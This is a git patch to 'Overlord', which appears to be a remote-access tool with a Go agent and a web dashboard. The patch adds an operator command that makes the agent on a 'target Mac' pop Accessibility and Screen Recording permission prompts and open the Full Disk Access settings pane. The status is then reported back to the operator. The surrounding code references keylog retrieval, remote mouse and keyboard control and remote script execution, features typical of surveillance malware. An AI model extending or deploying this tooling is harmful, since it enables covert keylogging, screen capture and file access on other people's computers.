From a35de5d12917817c4f92653fc717b3dc1a582195 Mon Sep 17 00:00:00 2001 From: test Date: Thu, 4 Jun 2026 20:41:10 -0500 Subject: [PATCH] better permissions mac --- Overlord-Client/cmd/agent/handlers/command.go | 27 ++++++++ Overlord-Client/cmd/agent/session.go | 5 +- .../cmd/agent/sysinfo/admin_darwin.go | 25 +++++++ .../cmd/agent/sysinfo/admin_iostarget.go | 4 ++ .../cmd/agent/sysinfo/admin_other.go | 4 ++ .../cmd/agent/sysinfo/admin_windows.go | 4 ++ .../agent/sysinfo/darwin_permissions_cgo.go | 33 +++++++++- .../agent/sysinfo/darwin_permissions_nocgo.go | 8 +++ .../cmd/agent/sysinfo/sysinfo_darwin.go | 2 +- Overlord-Client/cmd/agent/wire/protocol.go | 2 +- Overlord-Server/public/assets/main.css | 11 ++++ Overlord-Server/public/assets/main.js | 65 +++++++++++++++++++ Overlord-Server/public/assets/render.js | 33 ++++++++-- Overlord-Server/src/protocol.ts | 1 + .../server/routes/client-command-routes.ts | 42 +++++++++++- 15 files changed, 256 insertions(+), 10 deletions(-) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index cb64668..3798392 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2278,6 +2278,33 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return HandleProcessResume(ctx, env, cmdID, resumePid) case "keylog_request_permission": return HandleKeylogRequestPermission(ctx, env, cmdID) + case "darwin_request_permissions": + payload, _ := envelope["payload"].(map[string]interface{}) + var requested []string + if raw, ok := payload["permissions"].([]interface{}); ok { + for _, item := range raw { + if key, ok := item.(string); ok && key != "" { + requested = append(requested, key) + } + } + } + perms := sysinfo.RequestDarwinPermissions(requested) + missing := make([]string, 0) + for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} { + if perms == nil || !perms[key] { + missing = append(missing, key) + } + } + detail, _ := json.Marshal(map[string]interface{}{ + "permissions": perms, + "missing": missing, + }) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: len(missing) == 0, + Message: string(detail), + }) case "keylog_list": return HandleKeylogList(ctx, env, cmdID) case "keylog_retrieve": diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index cf8e720..8d2ea25 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -647,7 +647,10 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. hello.GPU = hw.GPU hello.RAM = hw.RAM hello.BatteryPercent = hw.BatteryPercent - hello.BatteryCharging = hw.BatteryCharging + if hw.BatteryPercent != nil { + charging := hw.BatteryCharging + hello.BatteryCharging = &charging + } hello.IsAdmin = sysinfo.IsAdmin() hello.Elevation = sysinfo.Elevation() hello.Permissions = sysinfo.DarwinPermissions() diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go index ec20194..6c96627 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go @@ -6,6 +6,7 @@ import ( "errors" "io" "os" + "os/exec" "path/filepath" ) @@ -29,6 +30,30 @@ func DarwinPermissions() map[string]bool { } } +func RequestDarwinPermissions(requested []string) map[string]bool { + want := make(map[string]bool, len(requested)) + for _, key := range requested { + want[key] = true + } + if len(want) == 0 { + want["accessibility"] = true + want["screenRecording"] = true + want["fullDiskAccess"] = true + } + + if want["accessibility"] { + darwinRequestAccessibilityPermission() + } + if want["screenRecording"] { + darwinRequestScreenRecordingPermission() + } + if want["fullDiskAccess"] { + _ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start() + } + + return DarwinPermissions() +} + func darwinFullDiskAccessPermission() bool { home, _ := os.UserHomeDir() candidates := []string{ diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go index 55694b8..7df287c 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go @@ -13,3 +13,7 @@ func Elevation() string { func DarwinPermissions() map[string]bool { return nil } + +func RequestDarwinPermissions(_ []string) map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_other.go b/Overlord-Client/cmd/agent/sysinfo/admin_other.go index 114afc8..183867b 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_other.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_other.go @@ -19,3 +19,7 @@ func Elevation() string { func DarwinPermissions() map[string]bool { return nil } + +func RequestDarwinPermissions(_ []string) map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go index 6dc6301..a5c4a88 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go @@ -65,3 +65,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool { func DarwinPermissions() map[string]bool { return nil } + +func RequestDarwinPermissions(_ []string) map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go index 746128b..d4a64bd 100644 --- a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go +++ b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go @@ -3,13 +3,15 @@ package sysinfo /* -#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics +#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation #include +#include #include #include extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import)); +extern bool CGRequestScreenCaptureAccess(void) __attribute__((weak_import)); static int checkAccessibilityPermission(void) { return AXIsProcessTrusted() ? 1 : 0; @@ -19,6 +21,27 @@ static int checkScreenRecordingPermission(void) { if (CGPreflightScreenCaptureAccess == NULL) return 0; return CGPreflightScreenCaptureAccess() ? 1 : 0; } + +static int requestAccessibilityPermission(void) { + const void *keys[] = { kAXTrustedCheckOptionPrompt }; + const void *values[] = { kCFBooleanTrue }; + CFDictionaryRef opts = CFDictionaryCreate( + kCFAllocatorDefault, + keys, + values, + 1, + &kCFCopyStringDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks + ); + Boolean trusted = AXIsProcessTrustedWithOptions(opts); + if (opts != NULL) CFRelease(opts); + return trusted ? 1 : 0; +} + +static int requestScreenRecordingPermission(void) { + if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission(); + return CGRequestScreenCaptureAccess() ? 1 : 0; +} */ import "C" @@ -29,3 +52,11 @@ func darwinAccessibilityPermission() bool { func darwinScreenRecordingPermission() bool { return C.checkScreenRecordingPermission() == 1 } + +func darwinRequestAccessibilityPermission() bool { + return C.requestAccessibilityPermission() == 1 +} + +func darwinRequestScreenRecordingPermission() bool { + return C.requestScreenRecordingPermission() == 1 +} diff --git a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go index fc945d7..9bbfa57 100644 --- a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go +++ b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go @@ -9,3 +9,11 @@ func darwinAccessibilityPermission() bool { func darwinScreenRecordingPermission() bool { return false } + +func darwinRequestAccessibilityPermission() bool { + return false +} + +func darwinRequestScreenRecordingPermission() bool { + return false +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go index 7f60dcf..c6c4ef8 100644 --- a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go @@ -57,7 +57,7 @@ func batteryStatus() (*int, bool) { return nil, false } lower := strings.ToLower(text) - charging := strings.Contains(lower, "charging") || strings.Contains(lower, "charged") + charging := !strings.Contains(lower, "discharging") && (strings.Contains(lower, "charging") || strings.Contains(lower, "charged")) return &percent, charging } diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 961c810..b5b869e 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -21,7 +21,7 @@ type Hello struct { GPU string `msgpack:"gpu,omitempty"` RAM string `msgpack:"ram,omitempty"` BatteryPercent *int `msgpack:"batteryPercent,omitempty"` - BatteryCharging bool `msgpack:"batteryCharging,omitempty"` + BatteryCharging *bool `msgpack:"batteryCharging,omitempty"` IsAdmin bool `msgpack:"isAdmin,omitempty"` Elevation string `msgpack:"elevation,omitempty"` Permissions map[string]bool `msgpack:"permissions,omitempty"` diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index eaee001..71eab88 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -2589,6 +2589,13 @@ tbody tr:hover { gap: 6px; flex-wrap: wrap; } +.cv-perm-summary { + width: 100%; + font-size: 11px; + line-height: 1.25; +} +.cv-perm-summary.is-ok { color: #86efac; } +.cv-perm-summary.is-warn { color: #fcd34d; } .cv-perm-chip { display: inline-flex; align-items: center; @@ -2599,7 +2606,11 @@ tbody tr:hover { border: 1px solid transparent; font-size: 11px; white-space: nowrap; + cursor: pointer; + font: inherit; + appearance: none; } +.cv-perm-chip:hover { filter: brightness(1.08); } .cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); } .cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); } diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index bb4a50d..5d7d218 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -75,6 +75,7 @@ let contextCard = null; let availableOsList = new Set(); let rendererInitialized = false; let lastKnownTotalPages = 1; +let currentServerVersion = ""; window.setDashboardPageBounds = (currentPage, totalPages) => { lastKnownTotalPages = Math.max(1, Number(totalPages) || 1); @@ -114,8 +115,14 @@ async function loadServerVersion() { const version = typeof payload?.version === "string" && payload.version.trim() ? payload.version.trim() : "unknown"; + currentServerVersion = version; setServerVersionLabel(version, version === "unknown" ? "warn" : "ok"); + if (rendererInitialized) { + state.lastDigest = ""; + renderCachedClients({ force: true }); + } } catch { + currentServerVersion = "unavailable"; setServerVersionLabel("unavailable", "bad"); } } @@ -173,6 +180,62 @@ function getClientCard(clientId) { return document.querySelector(`[data-client-row][data-id="${selectorId}"]`); } +function macPermissionLabels(keys = []) { + const labels = { + accessibility: "Accessibility", + screenRecording: "Screen Recording", + fullDiskAccess: "Full Disk Access", + }; + return keys.map((key) => labels[key] || key).join(", "); +} + +async function requestMacPermissions(clientId, permissionKey = "") { + if (!clientId) return; + if (!isClientOnline(clientId)) { + alert("Client is offline. macOS permissions can only be requested while the client is online."); + return; + } + if (detectClientPlatform(clientId) !== "mac") { + alert("This permission request is only available for macOS clients."); + return; + } + + const requested = permissionKey ? [permissionKey] : ["accessibility", "screenRecording", "fullDiskAccess"]; + const label = macPermissionLabels(requested) || "macOS permissions"; + const proceed = confirm( + `Request ${label} from ${clientId}?\n\n` + + "This can show a macOS prompt on the target Mac. " + + "Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.", + ); + if (!proceed) return; + + try { + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + action: "darwin_request_permissions", + permissions: requested, + }), + }); + const data = await res.json().catch(() => ({})); + if (!res.ok) { + alert(data.error || "macOS permission request failed."); + return; + } + const missing = Array.isArray(data.missing) ? data.missing : []; + const stillMissingRequested = missing.filter((key) => requested.includes(key)); + if (stillMissingRequested.length) { + alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`); + } else { + alert(`${label} is granted.`); + } + setTimeout(() => loadWithOptions({ force: true }), 300); + } catch (err) { + alert("macOS permission request failed: " + err.message); + } +} + window.__uninstallingClientIds = window.__uninstallingClientIds || new Set(); function flipFallAndRemove(clientId, { delayMs = 0 } = {}) { @@ -846,7 +909,9 @@ function initializeRenderer() { requestPreview, requestThumbnail, pingClient: (id) => sendCommand(id, "ping"), + onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey), userRole: currentUser?.role, + getServerVersion: () => currentServerVersion, getDisplayFields: () => displayFields, }); rendererSetLayout = rSetLayout; diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 52fb45f..24d0444 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -232,12 +232,14 @@ function macPermissionBadgeHtml(client) { function macPermissionDetailHtml(client) { const state = macPermissionState(client); if (!state) return ""; + const ok = state.missing.length === 0; + const summary = ok ? "All required permissions granted" : `Missing: ${state.missing.map((item) => item.label).join(", ")}`; const chips = state.items.map((item) => ` - + `).join(""); - return `
macOS Permissions${chips}
`; + return `
macOS Permissions${escapeHtml(summary)}${chips}
`; } function shortOsLabel(osRaw = "") { @@ -259,6 +261,17 @@ function shortOsLabel(osRaw = "") { return osRaw || "?"; } +function normalizeVersion(version) { + return String(version || "").trim().replace(/^v/i, ""); +} + +function isClientVersionCurrent(clientVersion, serverVersion) { + const client = normalizeVersion(clientVersion); + const server = normalizeVersion(serverVersion); + if (!client || !server || server === "unknown" || server === "unavailable") return true; + return client === server; +} + export function createRenderer({ grid, totalPill, @@ -268,7 +281,9 @@ export function createRenderer({ requestPreview, requestThumbnail, pingClient, + onMacPermissionRequest, userRole, + getServerVersion, getDisplayFields, }) { const isViewer = userRole === "viewer"; @@ -367,6 +382,14 @@ export function createRenderer({ return; } + const macPermBtn = e.target.closest(".cv-perm-chip[data-mac-permission-key]"); + if (macPermBtn) { + e.preventDefault(); + e.stopPropagation(); + if (onMacPermissionRequest) onMacPermissionRequest(clientId, card, macPermBtn.dataset.macPermissionKey); + return; + } + const copyBtn = e.target.closest(".copy-id-btn"); if (copyBtn) { e.stopPropagation(); @@ -803,7 +826,7 @@ export function createRenderer({ const showBattery = showField("battery"); const cpuHtml = client.cpu ? cpuBadgeHtml(client.cpu) : "—"; const batteryIndicator = showBattery ? batteryHtml(client) : ""; - const verLatest = String(client.version || "").startsWith("2.0."); + const verLatest = isClientVersionCurrent(client.version, typeof getServerVersion === "function" ? getServerVersion() : ""); const metaParts = [ showField("system") ? ` ${escapeHtml(shortOsLabel(client.os))}` : "", @@ -956,7 +979,7 @@ export function createRenderer({ const customTag = String(client.customTag || "").trim(); const displayName = nickname || client.host || deviceId; const userLine = client.user || "unknown"; - const verLatest = String(client.version || "").startsWith("2.0."); + const verLatest = isClientVersionCurrent(client.version, typeof getServerVersion === "function" ? getServerVersion() : ""); const hasGroup = !!String(client.groupName || "").trim(); const showHost = nickname && client.host && nickname !== client.host; const showHardware = showField("hardware"); diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 917a192..a8de9ea 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -119,6 +119,7 @@ export type CommandType = | "desktop_select_display" | "desktop_enable_mouse" | "desktop_enable_keyboard" + | "darwin_request_permissions" | "webrtc_publish" | "webrtc_stop" | "webrtc_p2p_offer" diff --git a/Overlord-Server/src/server/routes/client-command-routes.ts b/Overlord-Server/src/server/routes/client-command-routes.ts index 5926f2f..fe82f5f 100644 --- a/Overlord-Server/src/server/routes/client-command-routes.ts +++ b/Overlord-Server/src/server/routes/client-command-routes.ts @@ -2,7 +2,7 @@ import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "../../auth"; import { AuditAction, logAudit } from "../../auditLog"; import * as clientManager from "../../clientManager"; -import { deleteClientRow } from "../../db"; +import { deleteClientRow, upsertClientRow } from "../../db"; import { metrics } from "../../metrics"; import { encodeMessage } from "../../protocol"; import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac"; @@ -106,6 +106,46 @@ export async function handleClientCommandRoute( } else if (action === "desktop_start") { target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() })); metrics.recordCommand("desktop_start"); + } else if (action === "darwin_request_permissions") { + const targetOs = String(target.os || "").toLowerCase(); + if (!targetOs.includes("darwin") && !targetOs.includes("mac")) { + return Response.json({ ok: false, error: "macOS permission requests are only available for macOS clients" }, { status: 400 }); + } + const requested = Array.isArray(body?.permissions) + ? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8) + : []; + const cmdId = uuidv4(); + const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + deps.pendingCommandReplies.delete(cmdId); + reject(new Error("macOS permission request timed out")); + }, 45_000); + deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId }); + }); + + target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested } } as any)); + metrics.recordCommand("darwin_request_permissions"); + logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" }); + + try { + const result = await replyPromise; + let detail: any = {}; + if (result.message) { + try { detail = JSON.parse(result.message); } catch { detail = {}; } + } + if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) { + target.permissions = detail.permissions; + upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: target.lastSeen, online: target.online ? 1 : 0 }); + } + return Response.json({ + ok: result.ok, + permissions: detail.permissions || null, + missing: Array.isArray(detail.missing) ? detail.missing : [], + message: result.message || "", + }, { headers: deps.CORS_HEADERS }); + } catch (error: any) { + return Response.json({ ok: false, error: error.message || "macOS permission request failed" }, { status: 504 }); + } } else if (action === "script_exec") { const scriptContent = body?.script || ""; const scriptType = body?.scriptType || "powershell";